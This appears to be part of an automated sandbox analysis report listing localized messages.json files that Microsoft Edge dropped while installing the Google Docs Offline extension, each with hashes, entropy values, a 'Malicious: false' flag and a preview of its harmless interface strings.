Preview:	{"createnew":{"message":"B\u00daA TIL N\u00ddTT"},"explanationofflinedisabled":{"message":"\u00de\u00fa ert \u00e1n nettengingar. Til a\u00f0 nota Google-skj\u00f6l \u00e1n nettengingar skaltu opna stillingarnar \u00e1 heimas\u00ed\u00f0u Google skjala og virkja samstillingu \u00e1n nettengingar n\u00e6st \u00feegar \u00fe\u00fa tengist netinu."},"explanationofflineenabled":{"message":"Engin nettenging. \u00de\u00fa getur samt sem \u00e1\u00f0ur breytt tilt\u00e6kum skr\u00e1m e\u00f0a b\u00fai\u00f0 til n\u00fdjar."},"extdesc":{"message":"Breyttu, b\u00fa\u00f0u til og sko\u00f0a\u00f0u skj\u00f6lin \u00fe\u00edn, t\u00f6flureikna og kynningar \u2014 allt \u00e1n nettengingar."},"extname":{"message":"Google-skj\u00f6l \u00e1n nettengingar"},"learnmore":{"message":"Frekari uppl\u00fdsingar"},"popuphelptext":{"message":"Skrifa\u00f0u, breyttu og starfa\u00f0u me\u00f0 \u00f6\u00f0rum hvort sem nettenging er til sta\u00f0ar e\u00f0a ekki."}}.

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\it\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	899
Entropy (8bit):	4.474743599345443
Encrypted:	false
SSDEEP:	12:1HASvggrCBxNp8WJOJJrJ3WytVCBxep3bjP5CSUCjV8AgJJm2CBhr+z1tWgjqEOW:1HANXJOTBFtKa8Agju4NB3j
MD5:	0D82B734EF045D5FE7AA680B6A12E711
SHA1:	BD04F181E4EE09F02CD53161DCABCEF902423092
SHA-256:	F41862665B13C0B4C4F562EF1743684CCE29D4BCF7FE3EA494208DF253E33885
SHA-512:	01F305A280112482884485085494E871C66D40C0B03DE710B4E5F49C6A478D541C2C1FDA2CEAF4307900485946DEE9D905851E98A2EB237642C80D464D1B3ADA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "CREA NUOVO".. },.. "explanationofflinedisabled": {.. "message": "Sei offline. Per utilizzare Documenti Google senza una connessione Internet, apri le impostazioni nella home page di Documenti Google e attiva la sincronizzazione offline la prossima volta che ti colleghi a Internet.".. },.. "explanationofflineenabled": {.. "message": "Sei offline, ma puoi comunque modificare i file disponibili o crearne di nuovi.".. },.. "extdesc": {.. "message": "Modifica, crea e visualizza documenti, fogli di lavoro e presentazioni, senza accesso a Internet.".. },.. "extname": {.. "message": "Documenti Google offline".. },.. "learnmore": {.. "message": "Ulteriori informazioni".. },.. "popuphelptext": {.. "message": "Scrivi, modifica e collabora ovunque ti trovi, con o senza una connessione Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\iw\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2230
Entropy (8bit):	3.8239097369647634
Encrypted:	false
SSDEEP:	24:YIiTVLrLD1MEzMEH82LBLjO5YaQEqLytLLBm3dnA5LcqLWAU75yxFLcx+UxWRJLI:YfTFf589rZNgNA12Qzt4/zRz2vc
MD5:	26B1533C0852EE4661EC1A27BD87D6BF
SHA1:	18234E3ABAF702DF9330552780C2F33B83A1188A
SHA-256:	BBB81C32F482BA3216C9B1189C70CEF39CA8C2181AF3538FFA07B4C6AD52F06A
SHA-512:	450BFAF0E8159A4FAE309737EA69CA8DD91CAAFD27EF662087C4E7716B2DCAD3172555898E75814D6F11487F4F254DE8625EF0CFEA8DF0133FC49E18EC7FD5D2
Malicious:	false
Preview:	{"createnew":{"message":"\u05d9\u05e6\u05d9\u05e8\u05ea \u05d7\u05d3\u05e9"},"explanationofflinedisabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8. \u05db\u05d3\u05d9 \u05dc\u05d4\u05e9\u05ea\u05de\u05e9 \u05d1-Google Docs \u05dc\u05dc\u05d0 \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d1\u05d4\u05ea\u05d7\u05d1\u05e8\u05d5\u05ea \u05d4\u05d1\u05d0\u05d4 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e8\u05e0\u05d8, \u05d9\u05e9 \u05dc\u05e2\u05d1\u05d5\u05e8 \u05dc\u05e7\u05d8\u05e2 \u05d4\u05d4\u05d2\u05d3\u05e8\u05d5\u05ea \u05d1\u05d3\u05e3 \u05d4\u05d1\u05d9\u05ea \u05e9\u05dc Google Docs \u05d5\u05dc\u05d4\u05e4\u05e2\u05d9\u05dc \u05e1\u05e0\u05db\u05e8\u05d5\u05df \u05d1\u05de\u05e6\u05d1 \u05d0\u05d5\u05e4\u05dc\u05d9\u05d9\u05df."},"explanationofflineenabled":{"message":"\u05d0\u05d9\u05df \u05dc\u05da \u05d7\u05d9\u05d1\u05d5\u05e8 \u05dc\u05d0\u05d9\u05e0\u05d8\u05e

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\ja\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1160
Entropy (8bit):	5.292894989863142
Encrypted:	false
SSDEEP:	24:1HAoc3IiRF1viQ1RF3CMP3rnicCCAFrr1Oo0Y5ReXCCQkb:Dc3zF7F3CMTnOCAFVLHXCFb
MD5:	15EC1963FC113D4AD6E7E59AE5DE7C0A
SHA1:	4017FC6D8B302335469091B91D063B07C9E12109
SHA-256:	34AC08F3C4F2D42962A3395508818B48CA323D22F498738CC9F09E78CB197D73
SHA-512:	427251F471FA3B759CA1555E9600C10F755BC023701D058FF661BEC605B6AB94CFB3456C1FEA68D12B4D815FFBAFABCEB6C12311DD1199FC783ED6863AF97C0F
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....".. },.. "explanationofflinedisabled": {.. "message": "....................... Google ............................... Google .............. [..] .......[.......] ...........".. },.. "explanationofflineenabled": {.. "message": ".............................................".. },.. "extdesc": {.. "message": ".........................................................".. },.. "extname": {.. "message": "Google ..... ......".. },.. "learnmore": {.. "message": "..".. },.. "popuphelp

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\ka\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3264
Entropy (8bit):	3.586016059431306
Encrypted:	false
SSDEEP:	48:YGFbhVhVn0nM/XGbQTvxnItVJW/476CFdqaxWNlR:HFbhV/n0MfGbw875FkaANlR
MD5:	83F81D30913DC4344573D7A58BD20D85
SHA1:	5AD0E91EA18045232A8F9DF1627007FE506A70E0
SHA-256:	30898BBF51BDD58DB397FF780F061E33431A38EF5CFC288B5177ECF76B399F26
SHA-512:	85F97F12AD4482B5D9A6166BB2AE3C4458A582CF575190C71C1D8E0FB87C58482F8C0EFEAD56E3A70EDD42BED945816DB5E07732AD27B8FFC93F4093710DD58F
Malicious:	false
Preview:	{"createnew":{"message":"\u10d0\u10ee\u10da\u10d8\u10e1 \u10e8\u10d4\u10e5\u10db\u10dc\u10d0"},"explanationofflinedisabled":{"message":"\u10d7\u10e5\u10d5\u10d4\u10dc \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10ee\u10d0\u10e0\u10d7. Google Docs-\u10d8\u10e1 \u10d8\u10dc\u10e2\u10d4\u10e0\u10dc\u10d4\u10e2\u10d7\u10d0\u10dc \u10d9\u10d0\u10d5\u10e8\u10d8\u10e0\u10d8\u10e1 \u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10d2\u10d0\u10db\u10dd\u10e1\u10d0\u10e7\u10d4\u10dc\u10d4\u10d1\u10da\u10d0\u10d3 \u10d2\u10d0\u10d3\u10d0\u10d3\u10d8\u10d7 \u10de\u10d0\u10e0\u10d0\u10db\u10d4\u10e2\u10e0\u10d4\u10d1\u10d6\u10d4 Google Docs-\u10d8\u10e1 \u10db\u10d7\u10d0\u10d5\u10d0\u10e0 \u10d2\u10d5\u10d4\u10e0\u10d3\u10d6\u10d4 \u10d3\u10d0 \u10e9\u10d0\u10e0\u10d7\u10d4\u10d7 \u10ee\u10d0\u10d6\u10d2\u10d0\u10e0\u10d4\u10e8\u10d4 \u10e1\u10d8\u10dc\u10e5\u10e0\u10dd\u10dc\u10d8\u10d6\u10d0\u10ea\u10d8\u10d0, \u10e0\u10dd\u10d3\u10d4\u10e1\u10d0\u10ea \u10e8\u10d4\u10db\u10d3\u10d2\u10dd\u10

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\kk\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3235
Entropy (8bit):	3.6081439490236464
Encrypted:	false
SSDEEP:	96:H3E+6rOEAbeHTln2EQ77Uayg45RjhCSj+OyRdM7AE9qdV:HXcR/nQXUayYV
MD5:	2D94A58795F7B1E6E43C9656A147AD3C
SHA1:	E377DB505C6924B6BFC9D73DC7C02610062F674E
SHA-256:	548DC6C96E31A16CE355DC55C64833B08EF3FBA8BF33149031B4A685959E3AF4
SHA-512:	F51CC857E4CF2D4545C76A2DCE7D837381CE59016E250319BF8D39718BE79F9F6EE74EA5A56DE0E8759E4E586D93430D51651FC902376D8A5698628E54A0F2D8
Malicious:	false
Preview:	{"createnew":{"message":"\u0416\u0410\u04a2\u0410\u0421\u042b\u041d \u0416\u0410\u0421\u0410\u0423"},"explanationofflinedisabled":{"message":"\u0421\u0456\u0437 \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u043d\u0434\u0435\u0441\u0456\u0437. Google Docs \u049b\u043e\u043b\u0434\u0430\u043d\u0431\u0430\u0441\u044b\u043d \u0436\u0435\u043b\u0456 \u0431\u0430\u0439\u043b\u0430\u043d\u044b\u0441\u044b\u043d\u0441\u044b\u0437 \u049b\u043e\u043b\u0434\u0430\u043d\u0443 \u04af\u0448\u0456\u043d, \u043a\u0435\u043b\u0435\u0441\u0456 \u0436\u043e\u043b\u044b \u0436\u0435\u043b\u0456\u0433\u0435 \u049b\u043e\u0441\u044b\u043b\u0493\u0430\u043d\u0434\u0430, Google Docs \u043d\u0435\u0433\u0456\u0437\u0433\u0456 \u0431\u0435\u0442\u0456\u043d\u0435\u043d \u043f\u0430\u0440\u0430\u043c\u0435\u0442\u0440\u043b\u0435\u0440 \u0431\u04e9\u043b\u0456\u043c\u0456\u043d \u043a\u0456\u0440\u0456\u043f, \u043e\u0444\u043b\u0430\u0439\u043d \u0440\u0435\u0436\u0438\u043c\u0456\u

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\km\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3122
Entropy (8bit):	3.891443295908904
Encrypted:	false
SSDEEP:	96:/OOrssRU6Bg7VSdL+zsCfoZiWssriWqo2gx7RRCos2sEeBkS7Zesg:H5GRZlXsGdo
MD5:	B3699C20A94776A5C2F90AEF6EB0DAD9
SHA1:	1F9B968B0679A20FA097624C9ABFA2B96C8C0BEA
SHA-256:	A6118F0A0DE329E07C01F53CD6FB4FED43E54C5F53DB4CD1C7F5B2B4D9FB10E6
SHA-512:	1E8D15B8BFF1D289434A244172F9ED42B4BB6BCB6372C1F300B01ACEA5A88167E97FEDABA0A7AE3BEB5E24763D1B09046AE8E30745B80E2E2FE785C94DF362F6
Malicious:	false
Preview:	{"createnew":{"message":"\u1794\u1784\u17d2\u1780\u17be\u178f\u200b\u1790\u17d2\u1798\u17b8"},"explanationofflinedisabled":{"message":"\u17a2\u17d2\u1793\u1780\u200b\u1782\u17d2\u1798\u17b6\u1793\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f\u17d4 \u178a\u17be\u1798\u17d2\u1794\u17b8\u200b\u1794\u17d2\u179a\u17be Google \u17af\u1780\u179f\u17b6\u179a\u200b\u1794\u17b6\u1793\u200b\u200b\u178a\u17c4\u1799\u200b\u200b\u1798\u17b7\u1793\u1798\u17b6\u1793\u200b\u200b\u200b\u17a2\u17ca\u17b8\u1793\u1792\u17ba\u178e\u17b7\u178f \u179f\u17bc\u1798\u200b\u200b\u1791\u17c5\u200b\u1780\u17b6\u1793\u17cb\u200b\u1780\u17b6\u179a\u200b\u1780\u17c6\u178e\u178f\u17cb\u200b\u1793\u17c5\u200b\u179b\u17be\u200b\u1782\u17c1\u17a0\u1791\u17c6\u1796\u17d0\u179a Google \u17af\u1780\u179f\u17b6\u179a \u1793\u17b7\u1784\u200b\u1794\u17be\u1780\u200b\u1780\u17b6\u179a\u1792\u17d2\u179c\u17be\u200b\u179f\u1798\u1780\u17b6\u179b\u1780\u1798\u17d2\u1798\u200b\u200b\u200b\u1782\u17d2\u1798\u17b6\u1793

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\kn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1895
Entropy (8bit):	4.28990403715536
Encrypted:	false
SSDEEP:	48:SHYGuEETiuF6OX5tCYFZt5GurMRRevsY4tVZIGnZRxlKT6/U0WG:yYG8iuF6yTCYFH5GjLPtVZVZRxOZ0J
MD5:	38BE0974108FC1CC30F13D8230EE5C40
SHA1:	ACF44889DD07DB97D26D534AD5AFA1BC1A827BAD
SHA-256:	30078EF35A76E02A400F03B3698708A0145D9B57241CC4009E010696895CF3A1
SHA-512:	7BDB2BADE4680801FC3B33E82C8AA4FAC648F45C795B4BACE4669D6E907A578FF181C093464884C0E00C9762E8DB75586A253D55CD10A7777D281B4BFFAFE302
Malicious:	false
Preview:	{.. "createnew": {.. "message": "........ .....".. },.. "explanationofflinedisabled": {.. "message": ".... ..................... ......... ............. Google ...... ....., Google ...... ............ ............... .... ..... ...... .... .... ............ ............. ........ ..... ... .....".. },.. "explanationofflineenabled": {.. "message": ".... ...................., .... .... .... ......... ........... ............ .... ........ .........."..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\ko\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1042
Entropy (8bit):	5.3945675025513955
Encrypted:	false
SSDEEP:	24:1HAWYsF4dqNfBQH49Hk8YfIhYzTJ+6WJBtl/u4s+6:ZF4wNfvm87mX4LF6
MD5:	F3E59EEEB007144EA26306C20E04C292
SHA1:	83E7BDFA1F18F4C7534208493C3FF6B1F2F57D90
SHA-256:	C52D9B955D229373725A6E713334BBB31EA72EFA9B5CF4FBD76A566417B12CAC
SHA-512:	7808CB5FF041B002CBD78171EC5A0B4DBA3E017E21F7E8039084C2790F395B839BEE04AD6C942EED47CCB53E90F6DE818A725D1450BF81BA2990154AFD3763AF
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".. ...".. },.. "explanationofflinedisabled": {.. "message": ".... ...... ... .. .. Google Docs. ..... Google Docs .... .... .... .... .... ..... . .... .... ..... ......".. },.. "explanationofflineenabled": {.. "message": ".... ...... ... .. ... ... ..... ... ... .. . .....".. },.. "extdesc": {.. "message": ".... .... ... .., ...... . ....... .., .., ......".. },.. "extname": {.. "message": "Google Docs ....".. },.. "learnmore": {.. "message": "... ....".. },.. "popuphelptext": {.. "message": "... .. ... .... ..... .... .... .....

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\lo\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2535
Entropy (8bit):	3.8479764584971368
Encrypted:	false
SSDEEP:	48:YRcHe/4raK1EIlZt1wg62FIOg+xGaF8guI5EP9I2yC:+cs4raK1xlZtOgviOfGaF8RI5EP95b
MD5:	E20D6C27840B406555E2F5091B118FC5
SHA1:	0DCECC1A58CEB4936E255A64A2830956BFA6EC14
SHA-256:	89082FB05229826BC222F5D22C158235F025F0E6DF67FF135A18BD899E13BB8F
SHA-512:	AD53FC0B153005F47F9F4344DF6C4804049FAC94932D895FD02EEBE75222CFE77EEDD9CD3FDC4C88376D18C5972055B00190507AA896488499D64E884F84F093
Malicious:	false
Preview:	{"createnew":{"message":"\u0eaa\u0ec9\u0eb2\u0e87\u0ec3\u0edd\u0ec8"},"explanationofflinedisabled":{"message":"\u0e97\u0ec8\u0eb2\u0e99\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ea2\u0eb9\u0ec8. \u0ec0\u0e9e\u0eb7\u0ec8\u0ead\u0ec3\u0e8a\u0ec9 Google Docs \u0ec2\u0e94\u0e8d\u0e9a\u0ecd\u0ec8\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94, \u0ec3\u0eab\u0ec9\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e81\u0eb2\u0e99\u0e95\u0eb1\u0ec9\u0e87\u0e84\u0ec8\u0eb2\u0ec3\u0e99\u0edc\u0ec9\u0eb2 Google Docs \u0ec1\u0ea5\u0ec9\u0ea7\u0ec0\u0e9b\u0eb5\u0e94\u0ec3\u0e8a\u0ec9\u0e81\u0eb2\u0e99\u0e8a\u0eb4\u0ec9\u0e87\u0ec1\u0e9a\u0e9a\u0ead\u0ead\u0e9a\u0ea5\u0eb2\u0e8d\u0ec3\u0e99\u0ec0\u0e97\u0eb7\u0ec8\u0ead\u0e95\u0ecd\u0ec8\u0ec4\u0e9b\u0e97\u0eb5\u0ec8\u0e97\u0ec8\u0eb2\u0e99\u0ec0\u0e8a\u0eb7\u0ec8\u0ead\u0ea1\u0e95\u0ecd\u0ec8\u0ead\u0eb4\u0e99\u0ec0\u0e95\u0eb5\u0ec0\u0e99\u0eb1\u0e94."},"explanationofflineenabled":{"message":"\u0e97\u0ec

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\lt\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1028
Entropy (8bit):	4.797571191712988
Encrypted:	false
SSDEEP:	24:1HAivZZaJ3Rje394+k7IKgpAJjUpSkiQjuRBMd:fZZahBeu7IKgqeMg
MD5:	970544AB4622701FFDF66DC556847652
SHA1:	14BEE2B77EE74C5E38EBD1DB09E8D8104CF75317
SHA-256:	5DFCBD4DFEAEC3ABE973A78277D3BD02CD77AE635D5C8CD1F816446C61808F59
SHA-512:	CC12D00C10B970189E90D47390EEB142359A8D6F3A9174C2EF3AE0118F09C88AB9B689D9773028834839A7DFAF3AAC6747BC1DCB23794A9F067281E20B8DC6EA
Malicious:	false
Preview:	{.. "createnew": {.. "message": "SUKURTI NAUJ.".. },.. "explanationofflinedisabled": {.. "message": "Esate neprisijung.. Jei norite naudoti .Google. dokumentus be interneto ry.io, pagrindiniame .Google. dokument. puslapyje eikite . nustatym. skilt. ir .junkite sinchronizavim. neprisijungus, kai kit. kart. b.site prisijung. prie interneto.".. },.. "explanationofflineenabled": {.. "message": "Esate neprisijung., bet vis tiek galite redaguoti pasiekiamus failus arba sukurti nauj..".. },.. "extdesc": {.. "message": "Redaguokite, kurkite ir per.i.r.kite savo dokumentus, skai.iuokles ir pristatymus . visk. darykite be prieigos prie interneto.".. },.. "extname": {.. "message": ".Google. dokumentai neprisijungus".. },.. "learnmore": {.. "message": "Su.inoti daugiau".. },.. "popuphelptext": {.. "message": "Ra.ykite, redaguokite ir bendradarbiaukite bet kurioje vietoje naudodami interneto ry.. arba

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\lv\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	994
Entropy (8bit):	4.700308832360794
Encrypted:	false
SSDEEP:	24:1HAaJ7a/uNpoB/Y4vPnswSPkDzLKFQHpp//BpPDB:7J7a/uzQ/Y4vvswhDzDr/LDB
MD5:	A568A58817375590007D1B8ABCAEBF82
SHA1:	B0F51FE6927BB4975FC6EDA7D8A631BF0C1AB597
SHA-256:	0621DE9161748F45D53052ED8A430962139D7F19074C7FFE7223ECB06B0B87DB
SHA-512:	FCFBADEC9F73975301AB404DB6B09D31457FAC7CCAD2FA5BE348E1CAD6800F87CB5B56DE50880C55BBADB3C40423351A6B5C2D03F6A327D898E35F517B1C628C
Malicious:	false
Preview:	{.. "createnew": {.. "message": "IZVEIDOT JAUNU".. },.. "explanationofflinedisabled": {.. "message": "J.s esat bezsaist.. Lai lietotu pakalpojumu Google dokumenti bez interneta savienojuma, n.kamaj. reiz., kad ir izveidots savienojums ar internetu, atveriet Google dokumentu s.kumlapas iestat.jumu izv.lni un iesl.dziet sinhroniz.ciju bezsaist..".. },.. "explanationofflineenabled": {.. "message": "J.s esat bezsaist., ta.u varat redi..t pieejamos failus un izveidot jaunus.".. },.. "extdesc": {.. "message": "Redi..jiet, veidojiet un skatiet savus dokumentus, izkl.jlapas un prezent.cijas, neizmantojot savienojumu ar internetu.".. },.. "extname": {.. "message": "Google dokumenti bezsaist.".. },.. "learnmore": {.. "message": "Uzziniet vair.k".. },.. "popuphelptext": {.. "message": "Rakstiet, redi..jiet un sadarbojieties ar interneta savienojumu vai bez t. neatkar.gi no t., kur atrodaties.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\ml\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2091
Entropy (8bit):	4.358252286391144
Encrypted:	false
SSDEEP:	24:1HAnHdGc4LtGxVY6IuVzJkeNL5kP13a67wNcYP8j5PIaSTIjPU4ELFPCWJjMupV/:idGcyYPVtkAUl7wqziBsg9DbpN6XoN/
MD5:	4717EFE4651F94EFF6ACB6653E868D1A
SHA1:	B8A7703152767FBE1819808876D09D9CC1C44450
SHA-256:	22CA9415E294D9C3EC3384B9D08CDAF5164AF73B4E4C251559E09E529C843EA6
SHA-512:	487EAB4938F6BC47B1D77DD47A5E2A389B94E01D29849E38E96C95CABC7BD98679451F0E22D3FEA25C045558CD69FDDB6C4FEF7C581141F1C53C4AA17578D7F7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "....... ............".. },.. "explanationofflinedisabled": {.. "message": "...... ........... ........... ............. ..... Google ....... ..........., Google ....... .......... ............. .... ...... ...... ... ............... .................... '.......... ................' .........".. },.. "explanationofflineenabled": {.. "message": "................., .......... ......... ....... ...... ..............

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\mn\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	2778
Entropy (8bit):	3.595196082412897
Encrypted:	false
SSDEEP:	48:Y943BFU1LQ4HwQLQ4LQhlmVQL3QUm6H6ZgFIcwn6Rs2ShpQ3IwjGLQSJ/PYoEQj8:I43BCymz8XNcfuQDXYN2sum
MD5:	83E7A14B7FC60D4C66BF313C8A2BEF0B
SHA1:	1CCF1D79CDED5D65439266DB58480089CC110B18
SHA-256:	613D8751F6CC9D3FA319F4B7EA8B2BD3BED37FD077482CA825929DD7C12A69A8
SHA-512:	3742E24FFC4B5283E6EE496813C1BDC6835630D006E8647D427C3DE8B8E7BF814201ADF9A27BFAB3ABD130B6FEC64EBB102AC0EB8DEDFE7B63D82D3E1233305D
Malicious:	false
Preview:	{"createnew":{"message":"\u0428\u0418\u041d\u0418\u0419\u0413 \u04ae\u04ae\u0421\u0413\u042d\u0425"},"explanationofflinedisabled":{"message":"\u0422\u0430 \u043e\u0444\u043b\u0430\u0439\u043d \u0431\u0430\u0439\u043d\u0430. Google \u0414\u043e\u043a\u044b\u0433 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u0433\u04af\u0439\u0433\u044d\u044d\u0440 \u0430\u0448\u0438\u0433\u043b\u0430\u0445\u044b\u043d \u0442\u0443\u043b\u0434 \u0434\u0430\u0440\u0430\u0430\u0433\u0438\u0439\u043d \u0443\u0434\u0430\u0430 \u0438\u043d\u0442\u0435\u0440\u043d\u044d\u0442\u044d\u0434 \u0445\u043e\u043b\u0431\u043e\u0433\u0434\u043e\u0445\u0434\u043e\u043e Google \u0414\u043e\u043a\u044b\u043d \u043d\u04af\u04af\u0440 \u0445\u0443\u0443\u0434\u0430\u0441\u043d\u0430\u0430\u0441 \u0442\u043e\u0445\u0438\u0440\u0433\u043e\u043e \u0434\u043e\u0442\u043e\u0440\u0445 \u043e\u0444\u043b\u0430\u0439\u043d \u0441\u0438\u043d\u043a\u0438\u0439\u0433 \u0438\u0434\u044d\u0432\u0445\u0436\u04af\u04af\u043b\u043d\u0

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\mr\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1719
Entropy (8bit):	4.287702203591075
Encrypted:	false
SSDEEP:	48:65/5EKaDMw6pEf4I5+jSksOTJqQyrFO8C:65/5EKaAw6pEf4I5+vsOVqQyFO8C
MD5:	3B98C4ED8874A160C3789FEAD5553CFA
SHA1:	5550D0EC548335293D962AAA96B6443DD8ABB9F6
SHA-256:	ADEB082A9C754DFD5A9D47340A3DDCC19BF9C7EFA6E629A2F1796305F1C9A66F
SHA-512:	5139B6C6DF9459C7B5CDC08A98348891499408CD75B46519BA3AC29E99AAAFCC5911A1DEE6C3A57E3413DBD0FAE72D7CBC676027248DCE6364377982B5CE4151
Malicious:	false
Preview:	{.. "createnew": {.. "message": ".... .... ...".. },.. "explanationofflinedisabled": {.. "message": "...... ...... ..... ......... ....... ....... ..... Google ....... ............, Google ....... .............. .......... .. ... ..... .... ...... ......... ...... ...... ...... .... .... ....".. },.. "explanationofflineenabled": {.. "message": "...... ...... ...., ..... ...... ...... ...... .... ....... ... ..... .... .... ... .....".. },.. "extdesc": {.. "message": "..... ..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\ms\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	936
Entropy (8bit):	4.457879437756106
Encrypted:	false
SSDEEP:	24:1HARXIqhmemNKsE27rhdfNLChtyo2JJ/YgTgin:iIqFC7lrDfNLCIBRzn
MD5:	7D273824B1E22426C033FF5D8D7162B7
SHA1:	EADBE9DBE5519BD60458B3551BDFC36A10049DD1
SHA-256:	2824CF97513DC3ECC261F378BFD595AE95A5997E9D1C63F5731A58B1F8CD54F9
SHA-512:	E5B611BBFAB24C9924D1D5E1774925433C65C322769E1F3B116254B1E9C69B6DF1BE7828141EEBBF7524DD179875D40C1D8F29C4FB86D663B8A365C6C60421A7
Malicious:	false
Preview:	{.. "createnew": {.. "message": "BUAT BAHARU".. },.. "explanationofflinedisabled": {.. "message": "Anda berada di luar talian. Untuk menggunakan Google Docs tanpa sambungan Internet, pergi ke tetapan di halaman utama Google Docs dan hidupkan penyegerakan luar talian apabila anda disambungkan ke Internet selepas ini.".. },.. "explanationofflineenabled": {.. "message": "Anda berada di luar talian, tetapi anda masih boleh mengedit fail yang tersedia atau buat fail baharu.".. },.. "extdesc": {.. "message": "Edit, buat dan lihat dokumen, hamparan dan pembentangan anda . kesemuanya tanpa akses Internet.".. },.. "extname": {.. "message": "Google Docs Luar Talian".. },.. "learnmore": {.. "message": "Ketahui Lebih Lanjut".. },.. "popuphelptext": {.. "message": "Tulis, edit dan bekerjasama di mana-mana sahaja anda berada, dengan atau tanpa sambungan Internet.".. }..}..

C:\Users\user\AppData\Local\Temp\scoped_dir5412_2001610878\CRX_INSTALL\_locales\my\messages.json

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3830
Entropy (8bit):	3.5483353063347587
Encrypted:	false
SSDEEP:	48:Ya+Ivxy6ur1+j3P7Xgr5ELkpeCgygyOxONHO3pj6H57ODyOXOVp6:8Uspsj3P3ty2a66xl09
MD5:	342335A22F1886B8BC92008597326B24
SHA1:	2CB04F892E430DCD7705C02BF0A8619354515513
SHA-256:	243BEFBD6B67A21433DCC97DC1A728896D3A070DC20055EB04D644E1BB955FE7
SHA-512:	CD344D060E30242E5A4705547E807CE3CE2231EE983BB9A8AD22B3E7598A7EC87399094B04A80245AD51D039370F09D74FE54C0B0738583884A73F0C7E888AD8
Malicious:	false
